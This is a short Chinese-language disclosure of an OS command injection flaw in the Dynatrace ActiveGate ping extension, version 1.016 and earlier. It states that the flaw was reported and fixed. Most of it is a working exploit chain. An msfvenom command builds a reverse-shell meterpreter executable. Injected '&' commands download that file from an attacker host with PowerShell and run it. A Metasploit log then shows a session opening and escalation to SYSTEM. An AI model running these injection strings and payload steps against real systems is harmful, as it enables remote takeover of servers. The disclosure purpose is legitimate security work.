Dynatrace ActiveGate ping扩展(版本1.016及以下)中通过精心构造的IP地址存在的OS命令注入漏洞
在后台,ping扩展使用Windows命令提示符来执行ping操作。测试目标主机的输入字段长度为1024个字符。在IP地址之后,只需使用'&'即可写入额外命令供ActiveGate执行。
已向Dynatrace报告,并通过此提交修复: https://github.com/Dynatrace/dynatrace-api/pull/99
利用RCE添加用户:
本地用户列表前后对比:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.51.200 LPORT=4444 -f exe > mshell.exe
google&powershell.exe $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest http://192.168.51.200/mshell.exe -OutFile c:\test\mshell.exe
google&c:\test\mshell.exe
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.51.200:4444
[*] Sending stage (200262 bytes) to 192.168.51.54
[*] Meterpreter session 3 opened (192.168.51.200:4444 -> 192.168.51.54:49800 ) at 2023-01-21 19:02:16 +0100
meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-9493M3CRTDV
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows